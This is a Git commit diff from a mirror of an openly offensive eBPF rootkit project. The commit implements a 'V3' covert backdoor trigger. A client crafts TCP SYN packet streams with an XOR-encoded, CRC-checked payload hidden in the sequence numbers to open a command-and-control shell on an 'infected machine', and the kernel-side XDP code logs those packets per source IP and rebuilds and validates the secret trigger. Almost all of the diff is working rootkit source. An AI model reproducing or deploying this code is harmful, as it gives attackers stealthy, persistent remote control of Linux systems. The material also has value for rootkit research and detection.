mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-16 23:33:06 +08:00
Completed new backdoor packet stream parsing for V3 backdoor using hidden payloads in TCP and IP header positions
This commit is contained in:
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -318,12 +318,10 @@ void activate_command_control_shell_encrypted_multi_packet(char* argv){
|
||||
printf("["KBLU"INFO"RESET"]""Crafting malicious packet stream...\n");
|
||||
|
||||
//Stream of 3 packets, 4 bytes on each if using sequence numbers for hiding the payload
|
||||
const int PAYLOAD_LEN = 12;
|
||||
const int STREAM_PACKET_CAPACITY_BYTES = 4;
|
||||
stream_t stream = build_standard_packet_stream_empty_payload(PAYLOAD_LEN/STREAM_PACKET_CAPACITY_BYTES, 8000, 9000, local_ip, argv);
|
||||
char *payload = calloc(PAYLOAD_LEN, sizeof(char));
|
||||
stream_t stream = build_standard_packet_stream_empty_payload(CC_STREAM_TRIGGER_PAYLOAD_LEN/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES, 8000, 9000, local_ip, argv);
|
||||
char *payload = calloc(CC_STREAM_TRIGGER_PAYLOAD_LEN, sizeof(char));
|
||||
srand(time(NULL));
|
||||
for(int ii=0; ii<PAYLOAD_LEN; ii++){
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
payload[ii] = (char)rand();
|
||||
}
|
||||
inet_pton(AF_INET, argv, (void*)(payload+0x01));
|
||||
@@ -337,13 +335,29 @@ void activate_command_control_shell_encrypted_multi_packet(char* argv){
|
||||
strncpy(payload+0x08, result, 0x02);
|
||||
uint16_t crc = crc16(payload, 10);
|
||||
strncpy(payload+0x0A, (char*)&crc, 0x02);
|
||||
printf("Payload before XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
printf("%x ", payload[ii]);
|
||||
}
|
||||
printf("\n");
|
||||
//Rolling xor
|
||||
for(int ii=1; ii<PAYLOAD_LEN; ii++){
|
||||
for(int ii=1; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
char xor_res = payload[ii-1] ^ payload[ii];
|
||||
strncpy(payload+ii, (char*)&(xor_res), 0x01);
|
||||
}
|
||||
|
||||
stream_inject(stream, TYPE_TCP_SEQ_RAW, payload, 0x0C);
|
||||
printf("Payload after XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
printf("%x", payload[ii]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
//SYN packets
|
||||
for(int ii=0; ii<stream.stream_length; ii++){
|
||||
set_TCP_flags(*(stream.packet_stream+ii*(sizeof(packet_t))), 0x02);
|
||||
}
|
||||
//Injecting payload in the stream
|
||||
stream_inject(stream, TYPE_TCP_SEQ_RAW, payload, CC_STREAM_TRIGGER_PAYLOAD_LEN);
|
||||
|
||||
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
|
||||
//Sending the malicious stream of packets with the hidden payload
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -27,13 +27,10 @@
|
||||
|
||||
//C&C V3 -- Distributed hidden payload in packet stream
|
||||
struct trigger_t {
|
||||
unsigned char xor_key;
|
||||
unsigned int ip;
|
||||
short unsigned int port;
|
||||
unsigned char pad1;
|
||||
short unsigned int pad2;
|
||||
short unsigned int crc;
|
||||
unsigned int seq_raw;
|
||||
};
|
||||
#define CC_STREAM_TRIGGER_PAYLOAD_LEN 12
|
||||
#define CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES 4
|
||||
#define CC_STREAM_TRIGGER_KEY_ENCRYPTED_SHELL "\x2C\x82"
|
||||
|
||||
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
#define __BPF_MAP_DEFS_H
|
||||
|
||||
#include "headervmlinux.h"
|
||||
#include "../../../common/c&c.h"
|
||||
|
||||
//Tasks and comms
|
||||
#define TASK_COMM_LEN 16
|
||||
@@ -32,6 +33,12 @@ struct exec_var_hijack_active_data{//Map value
|
||||
char argv0[EXEC_VAR_HIJACK_ACTIVE_DATA_ARGV0_LEN];
|
||||
};
|
||||
|
||||
//Map value, contains 3 last packets from an specific IP (the key)
|
||||
struct backdoor_packet_log_data{
|
||||
int last_packet_modified;
|
||||
struct trigger_t trigger_array[3];
|
||||
};
|
||||
|
||||
|
||||
struct fs_priv_open{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
@@ -47,6 +54,14 @@ struct exec_var_priv_hijack_active{ //Map
|
||||
__type(value, struct exec_var_hijack_active_data);
|
||||
} exec_var_hijack_active SEC(".maps");
|
||||
|
||||
//Map to store log of packets received seeking to find a V3 backdoor trigger
|
||||
struct backdoor_priv_packet_log{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 1024);
|
||||
__type(key, __u32); //Source IPv4 of packet
|
||||
__type(value, struct backdoor_packet_log_data);
|
||||
} backdoor_packet_log SEC(".maps");
|
||||
|
||||
|
||||
/*PROTECTED MAPS*/
|
||||
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
|
||||
|
||||
@@ -9,6 +9,7 @@
|
||||
|
||||
#include "../data/ring_buffer.h"
|
||||
#include "../../common/c&c.h"
|
||||
#include "../bpf/defs.h"
|
||||
|
||||
static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 payload_size){
|
||||
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
@@ -132,9 +133,99 @@ backdoor_finish:
|
||||
|
||||
|
||||
return XDP_DROP;
|
||||
}
|
||||
|
||||
|
||||
static __always_inline int manage_backdoor_trigger_v3(struct backdoor_packet_log_data b_data){
|
||||
int last_received = b_data.last_packet_modified;
|
||||
int first_packet;
|
||||
if(last_received>0&&last_received<3){
|
||||
first_packet = last_received-1;
|
||||
}else{
|
||||
first_packet = (CC_STREAM_TRIGGER_PAYLOAD_LEN / CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES) -1;
|
||||
}
|
||||
|
||||
//The following routine (not just the next check) is necessarily dirty in terms of programming,
|
||||
//but the ebpf verifier strongly dislikes MOD operations (check report, screenshot)
|
||||
char payload[CC_STREAM_TRIGGER_PAYLOAD_LEN] = {0};
|
||||
if(first_packet == 1){
|
||||
for(int ii=first_packet; ii<3; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
}else if(first_packet == 2){
|
||||
for(int ii=first_packet; ii<3; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
}else if(first_packet == 3){
|
||||
for(int ii=first_packet; ii<3; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
}
|
||||
|
||||
bpf_printk("Payload before XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");
|
||||
|
||||
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
|
||||
//First undo running XOR
|
||||
for(int ii=CC_STREAM_TRIGGER_PAYLOAD_LEN-1; ii>0; ii--){
|
||||
char xor_res = payload[ii-1] ^ payload[ii];
|
||||
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
|
||||
}
|
||||
|
||||
bpf_printk("Payload after XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");
|
||||
|
||||
//Now compute CRC
|
||||
__u8 x;
|
||||
__u16 crc = 0xFFFF;
|
||||
__u8 length = 0x0A;
|
||||
char *payload_p = payload;
|
||||
|
||||
while (length--){
|
||||
x = crc >> 8 ^ *payload_p++;
|
||||
x ^= x>>4;
|
||||
crc = (crc << 8) ^ ((__u16)(x << 12)) ^ ((__u16)(x <<5)) ^ ((__u16)x);
|
||||
}
|
||||
|
||||
//Check CRC with the one received
|
||||
char crc_char1, crc_char2;
|
||||
__builtin_memcpy(&crc_char1, (char*)&(crc), sizeof(__u8));
|
||||
__builtin_memcpy(&crc_char2, (char*)&(crc)+1, sizeof(__u8));
|
||||
if(crc_char1 != payload[0x0A]){
|
||||
bpf_printk("Failed backdoor V3 check 1: %x vs %x\n", crc_char1, payload[0x0A]);
|
||||
return XDP_PASS;
|
||||
}
|
||||
if(crc_char2 != payload[0x0B]){
|
||||
bpf_printk("Failed backdoor V3 check 2: %x vs %x\n", crc_char2, payload[0x0B]);
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
|
||||
bpf_printk("Completed backdoor trigger v3, b_data position: %i\n", b_data.last_packet_modified);
|
||||
|
||||
|
||||
return XDP_DROP;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -106,9 +106,54 @@ int xdp_receive(struct xdp_md *ctx){
|
||||
}
|
||||
return manage_backdoor_trigger_v1(payload, payload_size);
|
||||
}
|
||||
//Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload
|
||||
if(tcp->syn == 1){
|
||||
//SYN packet detected, store in bpf map.
|
||||
//When a full stream comes, then it will be analyzed and search whether it is a valid sequence
|
||||
//Known issue, ignored dliberately: IP sending packets to different ports classified as same communication
|
||||
//This way we may include some port-knocking like mechanism.
|
||||
bpf_printk("SYN detected");
|
||||
__u32 ipvalue = ip->saddr;
|
||||
struct backdoor_packet_log_data *b_data = (struct backdoor_packet_log_data*) bpf_map_lookup_elem(&backdoor_packet_log, &ipvalue);
|
||||
struct backdoor_packet_log_data b_new_data = {0};
|
||||
if (b_data != NULL ){
|
||||
//Means first time this IP sends a packet to us
|
||||
//It is always between the below range, this is just to avoid verifier complains
|
||||
if(b_data->last_packet_modified>-1 && b_data->last_packet_modified<CC_STREAM_TRIGGER_PAYLOAD_LEN/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES){
|
||||
b_new_data.last_packet_modified = b_data->last_packet_modified;
|
||||
//Necessary complicated MOD, the verifier rejects it otherwise
|
||||
b_new_data.last_packet_modified++;
|
||||
if(b_new_data.last_packet_modified>=3){
|
||||
b_new_data.last_packet_modified = 0;
|
||||
}
|
||||
b_new_data.trigger_array[0] = b_data->trigger_array[0];
|
||||
b_new_data.trigger_array[1] = b_data->trigger_array[1];
|
||||
b_new_data.trigger_array[2] = b_data->trigger_array[2];
|
||||
//bpf_probe_read(&b_new_data, sizeof(struct backdoor_packet_log_data), b_data);
|
||||
int last_modified = b_new_data.last_packet_modified;
|
||||
//Yes, this is really needed to be done this way. Intervals are no sufficient
|
||||
if(last_modified != 0 && last_modified != 1 && last_modified != 2){
|
||||
return XDP_PASS;
|
||||
}
|
||||
b_new_data.trigger_array[last_modified].seq_raw = tcp->seq;
|
||||
bpf_map_update_elem(&backdoor_packet_log, &ipvalue, &b_new_data, BPF_ANY);
|
||||
//If it was not the first packet received, this may be the end of the backdoor sequence (even if previous packets
|
||||
//where for other purpose, we must still check it)
|
||||
return manage_backdoor_trigger_v3(b_new_data);
|
||||
}
|
||||
}else{
|
||||
//Done this way to avoid verifier complains
|
||||
int num = 0;
|
||||
//bpf_probe_read((void*)&(b_new_data->last_packet_modified), sizeof(__u32), (void*)&num);
|
||||
//bpf_probe_read(&(b_new_data->trigger_array[0].seq_raw), sizeof(__u32), &(tcp->seq));
|
||||
b_new_data.last_packet_modified = 0;
|
||||
b_new_data.trigger_array[0].seq_raw = tcp->seq;
|
||||
bpf_map_update_elem(&backdoor_packet_log, &ipvalue, &b_new_data, BPF_ANY);
|
||||
}
|
||||
}
|
||||
//Check for the packet modification PoC
|
||||
// We use "size - 1" to account for the final '\0'
|
||||
else if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
|
||||
if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
|
||||
bpf_printk("F, PS:%i, P:%i, DE:%i\n", payload_size, payload, data_end);
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user